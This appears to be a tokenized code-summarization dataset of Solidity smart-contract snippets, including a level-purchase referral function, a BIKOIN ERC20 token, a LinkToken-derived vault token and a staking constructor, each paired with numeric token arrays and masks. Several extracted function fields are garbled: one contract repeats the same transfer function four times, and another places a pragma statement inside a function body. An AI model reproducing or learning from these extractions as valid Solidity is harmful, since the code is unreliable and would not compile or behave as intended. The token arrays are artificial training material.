[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 16, 467, 654, 39, 3462, 2277, 288, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 1758, 3238, 389, 8443, 31, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 97, 203, 203, 203, 565, 3885, 12, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 3639, 389, 8443, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 2 ]
./partial_match/97/0xA898a8270fdc5a4fb43abB2e170Be2664a57F19b/sources/X2Money.sol
checking conditionsupdating variables
function buyLevel(uint256 _level) public returns(bool){ require(swapComplete, "swapping, please wait "); require(msg.sender == tx.origin, "contract cannot call"); require(userInfos[msg.sender].joined, 'User not exist'); uint256 fct=1; require(_level >= 1 && _level <= 10, 'Incorrect level'); require(tokenInterface(tokenAddress).transferFrom(msg.sender, address(this), priceOfLevel[_level]), "token fetch fail"); address _origRef = userAddressByID[userInfos[msg.sender].origRef]; totalGainInMainNetwork[owner] += systemDistPart * fct; netTotalUserWithdrawable[owner] += systemDistPart * fct; totalGainDirect[_origRef] += globalDivDistPart[_level] * 4; totalDirectLifeTime[_origRef] += globalDivDistPart[_level] * 4; netTotalUserWithdrawable[_origRef] += globalDivDistPart[_level] * 4; tokenInterface(tokenAddress).transfer(dividendContract,globalDivDistPart[_level] * fct); emit dividendSentEv(msg.sender, globalDivDistPart[_level] * fct); tokenInterface(tokenAddress).transfer(tradeContract,(priceOfLevel[_level] * 16 / 100) * fct); if(thisMonthEnd < now) startNextMonth(); if(_level == 1) { userInfos[msg.sender].levelExpired[1] += levelLifeTime; } else { for(uint256 l =_level - 1; l > 0; l--) require(userInfos[msg.sender].levelExpired[l] >= now, 'Buy the previous level'); if(userInfos[msg.sender].levelExpired[_level] == 0) userInfos[msg.sender].levelExpired[_level] = uint256(now) + levelLifeTime; else userInfos[msg.sender].levelExpired[_level] += levelLifeTime; } require(payForLevel(_level, msg.sender),"pay for level fail"); emit levelBuyEv(msg.sender, _level, priceOfLevel[_level] , uint256(now)); require(updateNPayAutoPool(_level,msg.sender),"auto pool update fail"); return true; }
11,422,846
[ 1, 24609, 2269, 2859, 72, 1776, 3152, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 2355, 12, 11890, 5034, 389, 2815, 13, 1071, 1135, 12, 6430, 15329, 203, 3639, 2583, 12, 22270, 6322, 16, 315, 22270, 1382, 16, 9582, 2529, 315, 1769, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 2229, 18, 10012, 16, 315, 16351, 2780, 745, 8863, 203, 3639, 2583, 12, 1355, 7655, 63, 3576, 18, 15330, 8009, 5701, 329, 16, 296, 1299, 486, 1005, 8284, 203, 3639, 2254, 5034, 28478, 33, 21, 31, 203, 3639, 2583, 24899, 2815, 1545, 404, 597, 389, 2815, 1648, 1728, 16, 296, 16268, 1801, 8284, 203, 203, 3639, 2583, 12, 2316, 1358, 12, 2316, 1887, 2934, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 6205, 951, 2355, 63, 67, 2815, 65, 3631, 315, 2316, 2158, 2321, 8863, 203, 203, 3639, 1758, 389, 4949, 1957, 273, 729, 1887, 13331, 63, 1355, 7655, 63, 3576, 18, 15330, 8009, 4949, 1957, 15533, 203, 3639, 2078, 43, 530, 382, 6376, 3906, 63, 8443, 65, 1011, 2619, 5133, 1988, 380, 28478, 31, 203, 3639, 2901, 5269, 1299, 1190, 9446, 429, 63, 8443, 65, 1011, 2619, 5133, 1988, 380, 28478, 31, 203, 203, 3639, 2078, 43, 530, 5368, 63, 67, 4949, 1957, 65, 1011, 2552, 7244, 5133, 1988, 63, 67, 2815, 65, 380, 1059, 31, 203, 3639, 2078, 5368, 15315, 950, 63, 67, 4949, 1957, 65, 1011, 2552, 7244, 5133, 1988, 63, 67, 2815, 65, 380, 1059, 31, 203, 3639, 2901, 5269, 1299, 1190, 9446, 429, 63, 67, 4949, 1957, 65, 1011, 2552, 7244, 5133, 1988, 63, 67, 2815, 65, 380, 2 ]
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /*************************************************/ mapping(address=>uint256) public indexes; mapping(uint256=>address) public addresses; uint256 public lastIndex = 0; /*************************************************/ /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ // remove the msg.sender from list of holders if their balance is 0 addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ // add the receiver to the list of holders if they aren&#39;t already there lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); // The following logic is to keep track of token holders // No need to change *anything* in the following logic if(_value > 0){ //if _from has no tokens left if(balances[_from] == 0){ // remove _from from token holders list addresses[indexes[_from]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[_from]; indexes[_from] = 0; delete addresses[lastIndex]; lastIndex--; } // if _to wasn&#39;t in token holders list if(indexes[_to]==0){ // add _to to the list of token holders lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); // we remove the burner from the list of token // holders if the burner now holds 0 tokens if(balances[burner] == 0){ addresses[indexes[burner]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[burner]; indexes[burner] = 0; delete addresses[lastIndex]; lastIndex--; } } } contract BIKOIN is BurnableToken, Ownable { string public constant name = "BIKOIN"; string public constant symbol = "BKN"; uint public constant decimals = 18; uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); uint public totalWeiToBeDistributed = 0; // Constructor constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner /*****************************************/ // add msg.sender to the list of token holders addresses[1] = msg.sender; indexes[msg.sender] = 1; lastIndex = 1; /*****************************************/ emit Transfer(0x0, msg.sender, initialSupply); } function getAddresses() public view returns (address[]){ address[] memory addrs = new address[](lastIndex); for(uint i = 0; i < lastIndex; i++){ addrs[i] = addresses[i+1]; } return addrs; } function setTotalWeiToBeDistributed(uint _totalWei) public onlyOwner { totalWeiToBeDistributed = _totalWei; } function distributeEth(uint startIndex, uint endIndex) public onlyOwner { for(uint i = startIndex; i < endIndex; ++i){ // counting starts at index 1 instead of 0, // pls don&#39;t worry if you can&#39;t figure out why, // just don&#39;t change it to start from 0 address holder = addresses[i+1]; // no need for `SafeMath.div()` here uint reward = (balances[holder].mul(totalWeiToBeDistributed))/(totalSupply); holder.transfer(reward); } } function withdrawEth() public onlyOwner { owner.transfer(address(this).balance); } function () public payable {} }
* @title Basic token @dev Basic version of StandardToken, with no allowances./
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address=>uint256) public indexes; mapping(uint256=>address) public addresses; uint256 public lastIndex = 0; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
15,238,750
[ 1, 8252, 1147, 225, 7651, 1177, 434, 8263, 1345, 16, 598, 1158, 1699, 6872, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7651, 1345, 353, 4232, 39, 3462, 8252, 288, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 225, 2874, 12, 2867, 516, 2254, 5034, 13, 324, 26488, 31, 203, 203, 565, 2874, 12, 2867, 9207, 11890, 5034, 13, 1071, 5596, 31, 203, 565, 2874, 12, 11890, 5034, 9207, 2867, 13, 1071, 6138, 31, 203, 565, 2254, 5034, 1071, 7536, 273, 374, 31, 203, 203, 225, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 13, 288, 203, 565, 2583, 24899, 869, 480, 1758, 12, 20, 10019, 203, 203, 565, 324, 26488, 63, 3576, 18, 15330, 65, 273, 324, 26488, 63, 3576, 18, 15330, 8009, 1717, 24899, 1132, 1769, 203, 565, 324, 26488, 63, 67, 869, 65, 273, 324, 26488, 63, 67, 869, 8009, 1289, 24899, 1132, 1769, 203, 565, 3626, 12279, 12, 3576, 18, 15330, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 309, 24899, 1132, 405, 374, 15329, 203, 3639, 309, 12, 70, 26488, 63, 3576, 18, 15330, 65, 422, 374, 15329, 203, 5411, 6138, 63, 11265, 63, 3576, 18, 15330, 13563, 273, 6138, 63, 2722, 1016, 15533, 203, 5411, 5596, 63, 13277, 63, 2722, 1016, 13563, 273, 5596, 63, 3576, 18, 15330, 15533, 203, 5411, 5596, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 5411, 1430, 6138, 63, 2722, 1016, 15533, 203, 5411, 7536, 413, 31, 203, 3639, 289, 203, 3639, 309, 12, 11265, 63, 67, 869, 65, 631, 20, 15329, 203, 5411, 7536, 9904, 31, 203, 5411, 6138, 63, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../vendor/LinkToken/token/LinkERC20.sol"; import "../vendor/LinkToken/ERC677Token.sol"; /** * @notice Vault Token * @dev Contract has been copied from: * https://github.com/smartcontractkit/LinkToken/blob/master/contracts/v0.6/LinkToken.sol * with modification made to specify name and symbol, deploys with 0 total supply */ contract VaultToken is LinkERC20, ERC677Token { constructor( string memory _name, string memory _symbol ) public ERC20(_name, _symbol) // solhint-disable-next-line no-empty-blocks {} /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal override virtual validAddress(recipient) { super._transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal override virtual validAddress(spender) { super._approve(owner, spender, amount); } // MODIFIERS modifier validAddress(address _recipient) { require(_recipient != address(this), "!validAddress"); _; } }
* @notice Vault Token @dev Contract has been copied from: with modification made to specify name and symbol, deploys with 0 total supply/ solhint-disable-next-line no-empty-blocks
contract VaultToken is LinkERC20, ERC677Token { constructor( string memory _name, string memory _symbol ) public ERC20(_name, _symbol) function _transfer(address sender, address recipient, uint256 amount) internal override virtual validAddress(recipient) pragma solidity 0.6.12; {} { super._transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal override virtual validAddress(spender) { super._approve(owner, spender, amount); } modifier validAddress(address _recipient) { require(_recipient != address(this), "!validAddress"); _; } }
12,902,461
[ 1, 12003, 3155, 225, 13456, 711, 2118, 9268, 628, 30, 598, 11544, 7165, 358, 4800, 508, 471, 3273, 16, 5993, 383, 1900, 598, 374, 2078, 14467, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 1158, 17, 5531, 17, 7996, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 17329, 1345, 353, 4048, 654, 39, 3462, 16, 4232, 39, 26, 4700, 1345, 288, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 203, 565, 262, 203, 3639, 1071, 203, 3639, 4232, 39, 3462, 24899, 529, 16, 389, 7175, 13, 203, 203, 565, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 203, 3639, 2713, 203, 3639, 3849, 203, 3639, 5024, 203, 3639, 923, 1887, 12, 20367, 13, 203, 683, 9454, 18035, 560, 374, 18, 26, 18, 2138, 31, 203, 565, 2618, 203, 565, 288, 203, 3639, 2240, 6315, 13866, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 12908, 537, 12, 2867, 3410, 16, 1758, 17571, 264, 16, 2254, 5034, 3844, 13, 203, 3639, 2713, 203, 3639, 3849, 203, 3639, 5024, 203, 3639, 923, 1887, 12, 87, 1302, 264, 13, 203, 565, 288, 203, 3639, 2240, 6315, 12908, 537, 12, 8443, 16, 17571, 264, 16, 3844, 1769, 203, 565, 289, 203, 203, 203, 203, 565, 9606, 923, 1887, 12, 2867, 389, 20367, 13, 288, 203, 3639, 2583, 24899, 20367, 480, 1758, 12, 2211, 3631, 17528, 877, 1887, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/888/0x44EBbe7f0a010B2bF54D877A327f7769bB8f84d5/sources/DimoStaking.sol
* @dev Initializes the contract setting the deployer as the initial owner./
constructor() { _transferOwnership(0x0AD07ebe2543Fa09C069f62Bda2BEe18F12954D2 ); }
13,223,491
[ 1, 9685, 326, 6835, 3637, 326, 7286, 264, 487, 326, 2172, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
